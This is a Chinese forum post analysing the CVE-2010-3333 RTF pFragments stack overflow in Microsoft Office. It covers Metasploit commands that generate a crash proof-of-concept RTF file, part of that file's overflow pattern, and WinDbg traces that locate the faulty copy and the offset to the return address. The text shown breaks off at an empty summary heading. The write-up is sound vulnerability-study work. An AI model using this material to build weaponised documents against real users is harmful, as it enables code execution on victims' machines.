首页
论坛
课程
招聘
[原创]新的漏洞分析体验:CVE-2010-3333 RTF栈缓冲区溢出漏洞
2021-7-13 18:47 6332

[原创]新的漏洞分析体验:CVE-2010-3333 RTF栈缓冲区溢出漏洞

2021-7-13 18:47
6332

1. 前言

1.1 一些碎碎念

这是《漏洞战争》里面分析的第二个栈溢出漏洞,虽然对于栈溢出这个概念本身已经很熟悉了,但是在分析这个漏洞的时候,书中介绍了如何使用Metasploit生成POC样本,以及Windbg调试的一些内容,我对于这些都不算特别熟悉,因为对我来说收获很大。这篇文章也会在这两方面有所介绍。

 

除了上面这两点,平时在工作中也会遇到好多RTF格式的漏洞利用病毒文件,虽然利用的可能并不是同一个漏洞,但是通过这个漏洞学习,相信也能够对其他RTF格式漏洞利用有所了解。

1.2 漏洞介绍

该漏洞存在于Microsoft Office XP SP3、Office 2003 SP3、Office 2007 SP2、Office 2010等多个版本中,由于Open XML文件格式转换器在处理RTF中的"pFragments"属性值时,没有正确计算属性值占用的空间大小,导致了栈溢出漏洞的发生。

2. RTF格式介绍

以下说法可能和官方术语不符,只是为了理解。

 

RTF(Rich Text Format)文件中的内容可以分为内容单元控制单元两个部分,软件读取RTF文件的时候,根据控制单元的内容设置对应内容单元的格式与位置,显示在文档中。

 

下面示例说明:

1
2
3
4
5
{\rtf\ansi\deff0{\fonttbl{\f0\froman Tms Rmn;}{\f1\fdecor Symbol;}{\f2\fswiss Helv;}}
{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255;}
{\stylesheet{\fs20 \snext0Normal;}}
{\info{\author John Doe}{\creatim\yr1990\mo7\dy30\hr10\min48}{\version1}{\edmins0}{\nofpages1}{\nofwords0}{\nofchars0}{\vern8351}}
\widoctrl\ftnbj \sectd\linex0\endnhere \pard\plain \fs20 This is plain text.\par}

上面这个文件的显示结果是这样的:

 

图片描述

2.1 控制单元

  1. 首先是大括号{},熟悉编程语言的话对这个概念应该很好接受,大括号定义了一个组(group)。
  2. 然后是\green0这样格式的字符串,这是一个控制字(control word),由斜杠\开头,后面跟一串小写字母。之后可以接:
    1. 数字或者-数字,数字是参数,0表示该属性关闭;
    2. 一个空格。如果超过一个空格,多余的空格会当作内容显示在文档中;
    3. 其他非字母字符。这个非字母的字符标志着控制字结束了,但是字符本身会作为内容显示在文档中。
  3. 最后一种在上面的示例中没有,是控制符号(control symbol),格式类似\*,是一个斜杠\加上一个非字母的字符。我理解的控制符号类似于C语言中格式化字符串使用的\t,表示一些特殊字符,但是不知道这种理解准不准确。

2.2 整体结构

RTF文件由头部(header)文档(document)两个部分组成<File> '{' <header> <document>'}'

1
2
3
4
5
<header>
\rtf <charset> \deff? <fonttbl> <filetbl>? <colortbl>? <stylesheet>? <listtables>? <revtbl>?
 
<document>
<info>? <docfmt>* <section>+

可以和上面的示例文件内容做对比,对应关系还是蛮明显的。

2.3 针对漏洞的格式介绍

这次分析的漏洞产生的原因是Open XML文件格式转换器在处理RTF中的"pFragments"属性值时,没有正确计算属性值占用的空间大小,那么这个pFragments属性值是怎么回事呢?

 

RTF文件中可以插入图形,图形在RTF文件中的格式如下:

1
2
{ \shp   ........  { \*\shpinst  { \sp  { \sn .......... }  { \sv .............. }  }  }
            { \shprslt   ............... }   }

其中{ \spp { \sn .......... } { \sp .............. } }是这个图形的属性组,spp是shape properties的缩写,sn表示属性名称,sv表示属性值。

 

pFragments就是其中的一个属性名称,它是一个数组结构,表示图形的可选附加部分,列出了图形的所有碎片。

3. 初步调试分析

软件版本:Microsoft Office 2003 SP3

 

现在已经弄清楚了RTF的格式以及pFragments的含义,由于这个漏洞不像之前分析的漏洞一样已知是哪个DLL文件(我甚至都不知道是不是有这么一个DLL文件)中存在问题,因此无法静态分析,只能直接开始调试。

3.1 使用Metasploit生成调试用Poc文件

3.1.1 搜索

输入msfconsole进入msf之后,首先要搜索找到相关的脚本,书中提供的命令是search cve-2010-3333,我是用的是msf6,没有成功,后来使用了关键词pFragments

1
2
3
4
5
6
7
8
9
10
msf6 > search pFragments
 
Matching Modules
================
 
   #  Name                                                    Disclosure Date  Rank   Check  Description
   -  ----                                                    ---------------  ----   -----  -----------
   0  exploit/windows/fileformat/ms10_087_rtf_pfragments_bof  2010-11-09       great  No     MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
 
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

3.1.2 生成PoC文件

接下来使用use指令指定exploit,使用info查看exploit的具体信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
msf6 > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > info
 
       Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
     Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-11-09
 
Provided by:
  wushi of team509
  unknown
  jduck <jduck@metasploit.com>
  DJ Manila Ice, Vesh, CA
 
Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Microsoft Office 2002 SP3 English on Windows XP SP3 English
  2   Microsoft Office 2003 SP3 English on Windows XP SP3 English
  3   Microsoft Office 2007 SP0 English on Windows XP SP3 English
  4   Microsoft Office 2007 SP0 English on Windows Vista SP0 English
  5   Microsoft Office 2007 SP0 English on Windows 7 SP0 English
  6   Crash Target for Debugging
 
Check supported:
  No
 
Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.rtf          yes       The file name.
 
Payload information:
  Space: 512
  Avoid: 1 characters
 
Description:
  This module exploits a stack-based buffer overflow in the handling
  of the 'pFragments' shape property within the Microsoft Word RTF
  parser. All versions of Microsoft Office 2010, 2007, 2003, and XP
  prior to the release of the MS10-087 bulletin are vulnerable. This
  module does not attempt to exploit the vulnerability via Microsoft
  Outlook. The Microsoft Word RTF parser was only used by default in
  versions of Microsoft Word itself prior to Office 2007. With the
  release of Office 2007, Microsoft began using the Word RTF parser,
  by default, to handle rich-text messages within Outlook as well. It
  was possible to configure Outlook 2003 and earlier to use the
  Microsoft Word engine too, but it was not a default setting. It
  appears as though Microsoft Office 2000 is not vulnerable. It is
  unlikely that Microsoft will confirm or deny this since Office 2000
  has reached its support cycle end-of-life.
 
References:
  https://nvd.nist.gov/vuln/detail/CVE-2010-3333
  OSVDB (69085)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/MS10-087
  http://www.securityfocus.com/bid/44652
  http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880
 
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit
 
[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /root/.msf4/local/msf.rtf

可以看到target的第六项是6 Crash Target for Debugging,使用set指令选择第六个目标,然后exploit指令就可以生成我们需要的PoC文件了。

3.2 PoC文件调试

3.2.1 确定漏洞发生原因

这里使用的是Windbg,打开WINWORD.exe之后,使用Windbg附加到该进程,输入g命令让进程继续运行,然后打开msf.rtf文件,可以看到Windbg中的输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0:003> g
ModLoad: 77b40000 77b62000   C:\WINDOWS\system32\appHelp.dll
ModLoad: 77a20000 77a74000   C:\WINDOWS\System32\cscui.dll
ModLoad: 76600000 7661d000   C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 5b860000 5b8b5000   C:\WINDOWS\system32\netapi32.dll
ModLoad: 76990000 769b5000   C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76b20000 76b31000   C:\WINDOWS\system32\ATL.DLL
ModLoad: 769c0000 76a74000   C:\WINDOWS\system32\USERENV.dll
ModLoad: 75f80000 7607d000   C:\WINDOWS\system32\browseui.dll
ModLoad: 7e290000 7e401000   C:\WINDOWS\system32\shdocvw.dll
ModLoad: 754d0000 75550000   C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 76c30000 76c5e000   C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c90000 76cb8000   C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 76f60000 76f8c000   C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 76980000 76988000   C:\WINDOWS\system32\LINKINFO.dll
ModLoad: 36c30000 36c39000   C:\Program Files\Microsoft Office\OFFICE11\msostyle.dll
ModLoad: 39800000 399b3000   C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f50000 76f58000   C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 76360000 76370000   C:\WINDOWS\system32\WINSTA.dll
(d68.e9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c8ac ebx=05000000 ecx=0000019b edx=00000000 esi=1104c24c edi=00130000
eip=30e9eb88 esp=00123d98 ebp=00123dd0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
mso!Ordinal6426+0x64d:
30e9eb88 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

根据错误信息Access violation确定应该是esi或者edi所在的位置访问出错了,看一下这两个位置的值是什么,使用db查看字节数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:000> db esi
1104c24c  4c 74 36 4c 74 37 4c 74-38 4c 74 39 4c 75 30 4c  Lt6Lt7Lt8Lt9Lu0L
1104c25c  75 31 4c 75 32 4c 75 33-4c 75 34 4c 75 35 4c 75  u1Lu2Lu3Lu4Lu5Lu
1104c26c  36 4c 75 37 4c 75 38 4c-75 39 4c 76 30 4c 76 31  6Lu7Lu8Lu9Lv0Lv1
1104c27c  4c 76 32 4c 76 33 4c 76-34 4c 76 35 4c 76 36 4c  Lv2Lv3Lv4Lv5Lv6L
1104c28c  76 37 4c 76 38 4c 76 39-4c 77 30 4c 77 31 4c 77  v7Lv8Lv9Lw0Lw1Lw
1104c29c  32 4c 77 33 4c 77 34 4c-77 35 4c 77 36 4c 77 37  2Lw3Lw4Lw5Lw6Lw7
1104c2ac  4c 77 38 4c 77 39 4c 78-30 4c 78 31 4c 78 32 4c  Lw8Lw9Lx0Lx1Lx2L
1104c2bc  78 33 4c 78 34 4c 78 35-4c 78 36 4c 78 37 4c 78  x3Lx4Lx5Lx6Lx7Lx
0:000> db edi
00130000  41 63 74 78 20 00 00 00-01 00 00 00 98 24 00 00  Actx ........$..
00130010  c4 00 00 00 00 00 00 00-20 00 00 00 00 00 00 00  ........ .......
00130020  14 00 00 00 01 00 00 00-06 00 00 00 34 00 00 00  ............4...
00130030  14 01 00 00 01 00 00 00-00 00 00 00 00 00 00 00  ................
00130040  00 00 00 00 00 00 00 00-00 00 00 00 02 00 00 00  ................
00130050  00 00 00 00 00 00 00 00-00 00 00 00 14 02 00 00  ................
00130060  9c 01 00 00 00 00 00 00-5b 49 59 2d b0 03 00 00  ........[IY-....
00130070  32 00 00 00 e4 03 00 00-d2 02 00 00 00 00 00 00  2...............

看不出来有什么问题,esi处保存的应该就是复制的源字符串,要看一下所在内存的访问权限,使用!address命令可以显示内存信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:000> !address esi
Usage:                  <unclassified>
Allocation Base:        11040000
Base Address:           11040000
End Address:            1e64c000
Region Size:            0d60c000
Type:                   00020000    MEM_PRIVATE
State:                  00001000    MEM_COMMIT
Protect:                00000004    PAGE_READWRITE
 
0:000> !address edi
Usage:                  MemoryMappedFile
Allocation Base:        00130000
Base Address:           00130000
End Address:            00133000
Region Size:            00003000
Type:                   00040000    MEM_MAPPED
State:                  00001000    MEM_COMMIT
Protect:                00000002    PAGE_READONLY
Mapped file name:       PageFile

原因出现了,edi所在的位置只有读权限,而现在程序在尝试向其中写入数据。

 

注意到错误信息中的esp寄存器值为esp=00123d98,esp处的数据为:

1
2
3
4
5
6
7
8
9
0:000> db esp
00123d98  f0 10 49 01 88 3f 12 00-96 cc f4 30 f0 10 49 01  ..I..?.....0..I.
00123da8  c0 3d 12 00 00 00 00 00-00 00 00 00 00 00 00 00  .=..............
00123db8  00 00 00 00 a8 5c 59 64-41 61 30 41 61 31 41 61  .....\YdAa0Aa1Aa
00123dc8  32 41 61 33 41 61 34 41-61 35 41 61 36 41 61 37  2Aa3Aa4Aa5Aa6Aa7
00123dd8  41 61 38 41 61 39 41 62-30 41 62 31 41 62 32 41  Aa8Aa9Ab0Ab1Ab2A
00123de8  62 33 41 62 34 41 62 35-41 62 36 41 62 37 41 62  b3Ab4Ab5Ab6Ab7Ab
00123df8  38 41 62 39 41 63 30 41-63 31 41 63 32 41 63 33  8Ab9Ac0Ac1Ac2Ac3
00123e08  41 63 34 41 63 35 41 63-36 41 63 37 41 63 38 41  Ac4Ac5Ac6Ac7Ac8A

所以应该是程序在向栈中复制数据,由于没有判断数据长度,导致数据溢出到了不可写区域引发了异常。

 

一般来说分析到这里我会习惯找到出现问题的dll文件,定位到问题函数,然后直接到IDA里面进行静态分析,同时在OD的协助下完成对漏洞函数的理解,但是在《漏洞战争》这本书中,作者还在继续用windbg分析。为了熟悉windbg的使用,我也打算继续根据书中的流程进行分析。

3.2.2 确定数据来源

由于一开始已经对漏洞进行了介绍,我们知道漏洞是在处理pFragments属性的时候发生的,所以合理怀疑上面windbg输出内容中,esp除的数据应该来自于pFragments属性内容,下面来验证一下。

 

看一下msf.rtf文件的内容:

1
2
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111acc8416130416131416132416133416134416135416136416137416138416139416230416231416232416233416234416235416236416237416238416239416330416331416332416333416334416335416336416337416338416339416430416431416432416433416434416435416436416437416438416439416530416531416532416533416534416535416536416537416538416539416630416631416632416633416634416635416636416637416638416639416730416731416732416733416734416735416736416737416738416739416830416831416832416833416834416835416836416837416838416839416930416931416932416933416934416935416936416937416938416939416a30416a31416a32416a33416a34416a35416a36416a37416a38416a39416b30416b31416b32416b33416b34416b35416b36416b37416b38416b39416c30416c31416c32416c33416c34416c35416c36416c37416c38416c39416d30416d31416d32416d33416d34416d35416d36416d37416d38416d39416e30416e31416e32416e33416e34416e35416e36416e37416e38416e39416f30416f31416f32416f33416f34416f35416f36416f37416f38416f39417030417031417032417033417034417035417036417037417038417039417130417131417132417133417134417135417136417137417138417139417230417231417232417233417234417235417236417237417238417239417330417331417332417333417334417335417336417337417338417339417430417431417432417433417434417435417436417437417438417439417530417531417532417533417534417535417536417537417538417539417630417631417632417633417634417635417636417637417638417639417730417731417732417733417734417735417736417737417738417739417830417831417832417833417834417835417836417837417838417839417930417931417932417933417934417935417936417937417938417939417a30417a31417a32417a33417a34417a35417a36417a37417a38417a39426130426131426132426133426134426135426136426137426138426139426230426231426232426233426234426235426236426237426238426239426330426331426332426333426334426335426336426337426338426339426430426431426432426433426434426435426436426437426438426439426530426531426532426533426534426535426536426537426538426539426630426631426632426633426634426635426636426637426638426639426730426731426732426733426734426735426736426737426738426739426830426831426832426833426834426835426836426837426838426839426930426931426932426933426934426935426936426937426938426939426a30426a31426a32426a33426a34426a35426a36426a37426a38426a39426b30426b31426b32426b33426b34426b35426b36426b37426b38426b39426c30426c31426c32426c33426c34426c35426c36426c37426c38426c39426d30426d31426d32426d33426d34426d35426d36426d37426d38426d39426e30426e31426e32426e33426e34426e35426e36426e37426e38426e39426f30426f31426f32426f33426f34426f35426f36426f37426f38426f39427030427031427032427033427034427035427036427037427038427039427130427131427132427133427134427135427136427137427138427139427230427231427232427233427234427235427236427237427238427239427330427331427332427333427334427335427336427337427338427339427430427431427432427433427434427435427436427437427438427439427530427531427532427533
……

由于文件过长,这里只截取了一部分数据,看起来不太一样,但是等一下,我们把pFragements的内容复制到十六进制区域再看一下:

 

图片描述

 

目前不太确定msf.rtf中前面的11111111ACC8是什么意思,以及esp中前面的\Yd是什么意思,接下来调试的时候可以注意,但是剩余内容都是一致的。

3.2.3 进一步调试分析

确定了是哪一句指令出现异常之后,需要定位这句指令在哪个函数中,因为现在windbg已经执行到了异常发生的时候,整个栈帧已经被pFragments的数据覆盖了,无法获取有效信息,所以需要重新附加到WINWORD上,然后在异常发生地址0x30E9EB88这里下一个断点,继续执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0:004> bp 30e9eb88
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
0:004> g
ModLoad: 77b40000 77b62000   C:\WINDOWS\system32\appHelp.dll
ModLoad: 77a20000 77a74000   C:\WINDOWS\System32\cscui.dll
ModLoad: 76600000 7661d000   C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 5b860000 5b8b5000   C:\WINDOWS\system32\netapi32.dll
ModLoad: 76990000 769b5000   C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76b20000 76b31000   C:\WINDOWS\system32\ATL.DLL
ModLoad: 769c0000 76a74000   C:\WINDOWS\system32\USERENV.dll
ModLoad: 75f80000 7607d000   C:\WINDOWS\system32\browseui.dll
ModLoad: 7e290000 7e401000   C:\WINDOWS\system32\shdocvw.dll
ModLoad: 754d0000 75550000   C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 76c30000 76c5e000   C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c90000 76cb8000   C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 76f60000 76f8c000   C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 76980000 76988000   C:\WINDOWS\system32\LINKINFO.dll
ModLoad: 36c30000 36c39000   C:\Program Files\Microsoft Office\OFFICE11\msostyle.dll
ModLoad: 39800000 399b3000   C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f50000 76f58000   C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 76360000 76370000   C:\WINDOWS\system32\WINSTA.dll
Breakpoint 0 hit
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=00123dc0
eip=30e9eb88 esp=00123d98 ebp=00123dd0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!Ordinal6426+0x64d:
30e9eb88 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

此时还没有发生异常,栈帧中一切正常,使用kb指令显示调用堆栈及栈上的前三个参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
0:000> kb
ChildEBP RetAddr  Args to Child             
WARNING: Stack unwind information not available. Following frames may be wrong.
00123dd0 30f4cdbd 00123f3c 00000000 ffffffff mso!Ordinal6426+0x64d
00123e00 30f4a597 00123f88 00123f3c 00000000 mso!Ordinal753+0x306e
0012404c 30d4b199 00000000 0012408c 00000000 mso!Ordinal753+0x848
00124074 30d4b148 30d4ae32 014914c8 01491500 mso!Ordinal4196+0x61f
00124078 30d4ae32 014914c8 01491500 014913b0 mso!Ordinal4196+0x5ce
0012407c 014914c8 01491500 014913b0 30dc9d44 mso!Ordinal4196+0x2b8
00124080 01491500 014913b0 30dc9d44 00000000 0x14914c8
00124084 014913b0 30dc9d44 00000000 01491118 0x1491500
00124088 30dc9d44 00000000 01491118 00124e38 0x14913b0
0012408c 00000000 01491118 00124e38 00000000 mso!Ordinal2940+0x158fc

由于缺少symbol文件,所以这个栈帧是有可能出错的,不过这里还是可以分析出来的。

 

第一个是当前函数栈帧,要看下一行00123e00 30f4a597 00123f88 00123f3c 00000000 mso!Ordinal753+0x306e,用ub指令查看指定地址之前的汇编代码:

1
2
3
4
5
6
7
8
9
10
0:000> ub mso!Ordinal753+0x306e
mso!Ordinal753+0x305a:
30f4cda9 23c1            and     eax,ecx
30f4cdab 50              push    eax
30f4cdac 8d47ff          lea     eax,[edi-1]
30f4cdaf 50              push    eax
30f4cdb0 8b4508          mov     eax,dword ptr [ebp+8]
30f4cdb3 6a00            push    0
30f4cdb5 ff750c          push    dword ptr [ebp+0Ch]
30f4cdb8 e8a0feffff      call    mso!Ordinal753+0x2f0e (30f4cc5d)

漏洞代码出现在函数0x30F4CC5D调用之中,所以要再一次载入程序,在0x30F4CC5D下断点,然后继续执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0:004> bp 0x30F4CC5D
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
0:004> g
ModLoad: 77b40000 77b62000   C:\WINDOWS\system32\appHelp.dll
ModLoad: 77a20000 77a74000   C:\WINDOWS\System32\cscui.dll
ModLoad: 76600000 7661d000   C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 5b860000 5b8b5000   C:\WINDOWS\system32\netapi32.dll
ModLoad: 76990000 769b5000   C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76b20000 76b31000   C:\WINDOWS\system32\ATL.DLL
ModLoad: 769c0000 76a74000   C:\WINDOWS\system32\USERENV.dll
ModLoad: 75f80000 7607d000   C:\WINDOWS\system32\browseui.dll
ModLoad: 7e290000 7e401000   C:\WINDOWS\system32\shdocvw.dll
ModLoad: 754d0000 75550000   C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 76c30000 76c5e000   C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c90000 76cb8000   C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 76f60000 76f8c000   C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 76980000 76988000   C:\WINDOWS\system32\LINKINFO.dll
ModLoad: 36c30000 36c39000   C:\Program Files\Microsoft Office\OFFICE11\msostyle.dll
ModLoad: 39800000 399b3000   C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f50000 76f58000   C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 76360000 76370000   C:\WINDOWS\system32\WINSTA.dll
Breakpoint 0 hit
eax=00123f88 ebx=00000000 ecx=00123dfc edx=00000000 esi=00000000 edi=00000000
eip=30f4cc5d esp=00123dd4 ebp=00123e00 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mso!Ordinal753+0x2f0e:
30f4cc5d 55              push    ebp

漏洞代码的地址x30e9eb88,之后使用F10单步调试,寻找位于该地址附近的函数调用:

 

一直单步到这里,有一个函数调用,函数地址是0x30E9EB62,和漏洞代码地址很接近,应该就是这里了,F11步入:

1
2
3
4
5
6
0:000> p
eax=30d9ed10 ebx=05000000 ecx=00123dc0 edx=00000000 esi=014910f0 edi=00123f88
eip=30f4cc93 esp=00123da4 ebp=00123dd0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mso!Ordinal753+0x2f44:
30f4cc93 ff501c          call    dword ptr [eax+1Ch]  ds:0023:30d9ed2c=30e9eb62

看一下这里的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:000> uf eip
mso!Ordinal6426+0x627:
30e9eb62 57              push    edi
30e9eb63 8b7c240c        mov     edi,dword ptr [esp+0Ch]
30e9eb67 85ff            test    edi,edi
30e9eb69 7427            je      mso!Ordinal6426+0x657 (30e9eb92)
 
mso!Ordinal6426+0x630:
30e9eb6b 8b442408        mov     eax,dword ptr [esp+8]
30e9eb6f 8b4808          mov     ecx,dword ptr [eax+8]
30e9eb72 81e1ffff0000    and     ecx,0FFFFh
30e9eb78 56              push    esi
30e9eb79 8bf1            mov     esi,ecx
30e9eb7b 0faf742414      imul    esi,dword ptr [esp+14h]
30e9eb80 037010          add     esi,dword ptr [eax+10h]
30e9eb83 8bc1            mov     eax,ecx
30e9eb85 c1e902          shr     ecx,2
30e9eb88 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

需要注意esi、edi、ecx这三个寄存器的值,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:000> p
eax=30d9ed10 ebx=05000000 ecx=00123dc0 edx=00000000 esi=014910f0 edi=00123f88
eip=30e9eb63 esp=00123d9c ebp=00123dd0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mso!Ordinal6426+0x628:
30e9eb63 8b7c240c        mov     edi,dword ptr [esp+0Ch] ss:0023:00123da8=00123dc0
 
0:000> db edi-4
00123dbc  a8 5c 59 64 ea 80 fb 3f-00 00 00 05 00 00 00 00  .\Yd...?........
00123dcc  06 40 00 00 00 3e 12 00-bd cd f4 30 3c 3f 12 00  .@...>.....0<?..
00123ddc  00 00 00 00 ff ff ff ff-00 00 00 00 e0 14 49 01  ..............I.
00123dec  20 44 12 00 8c 40 12 00-38 4e 12 00 b0 40 12 00   D...@..8N...@..
00123dfc  00 00 00 00 e4 3f 12 00-97 a5 f4 30 88 3f 12 00  .....?.....0.?..
00123e0c  3c 3f 12 00 00 00 00 00-e0 14 49 01 8c 40 12 00  <?........I..@..
00123e1c  20 44 12 00 00 00 00 00-ff ff ff ff ff ff ff ff   D..............
00123e2c  ff ff ff ff 00 00 00 00-00 00 00 20 01 01 00 00  ........... ....

所以数据要复制到0x123dc0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:000> p
eax=014910f0 ebx=05000000 ecx=00123dc0 edx=00000000 esi=014910f0 edi=00123dc0
eip=30e9eb6f esp=00123d9c ebp=00123dd0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!Ordinal6426+0x634:
30e9eb6f 8b4808          mov     ecx,dword ptr [eax+8] ds:0023:014910f8=0004c8ac
 
0:000> p
eax=014910f0 ebx=05000000 ecx=0004c8ac edx=00000000 esi=014910f0 edi=00123dc0
eip=30e9eb72 esp=00123d9c ebp=00123dd0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!Ordinal6426+0x637:
30e9eb72 81e1ffff0000    and     ecx,0FFFFh
 
0:000> p
eax=0000c8ac ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=00123dc0
eip=30e9eb85 esp=00123d98 ebp=00123dd0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!Ordinal6426+0x64a:
30e9eb85 c1e902          shr     ecx,2

这里经过第一步运算后ecx的值是0xC8AC,然后进行了右移两位(除以4)的操作,因为rep movs dword是以四个字节为一个单位进行复制的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:000> p
eax=014910f0 ebx=05000000 ecx=0000c8ac edx=00000000 esi=00000000 edi=00123dc0
eip=30e9eb80 esp=00123d98 ebp=00123dd0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!Ordinal6426+0x645:
30e9eb80 037010          add     esi,dword ptr [eax+10h] ds:0023:01491100=1104000c
 
0:000> db esi
1104000c  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A
1104001c  61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62  a5Aa6Aa7Aa8Aa9Ab
1104002c  30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35  0Ab1Ab2Ab3Ab4Ab5
1104003c  41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41  Ab6Ab7Ab8Ab9Ac0A
1104004c  63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63  c1Ac2Ac3Ac4Ac5Ac
1104005c  36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31  6Ac7Ac8Ac9Ad0Ad1
1104006c  41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41  Ad2Ad3Ad4Ad5Ad6A
1104007c  64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65  d7Ad8Ad9Ae0Ae1Ae

源数据所在地址为0x1104000C

 

注意在上面我查看edi处的数据时,使用的是db edi-4的命令,可以看到\Yd已经在栈中了,所以这三个字符和数据的复制操作没什么关系,而ecx的值0xC8AC正是msf.rtf中保存的值,所以这两个字节用来保存pFragments的长度。

1
0000h11 11 11 11 AC C8 41 61 30 41 61 31 41 61 32 41

查看一下目前的寄存器情况:

1
2
3
4
5
6
0:000> r
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=00123dc0
eip=30e9eb88 esp=00123d98 ebp=00123dd0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!Ordinal6426+0x64d:
30e9eb88 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

数据复制的目标地址edi是0x123dc0,而此时栈帧基址ebp是0x123dd0,两者仅相差16个字节。所以如果想要覆盖返回地址,一共需要24个字节。

3.3 小总结

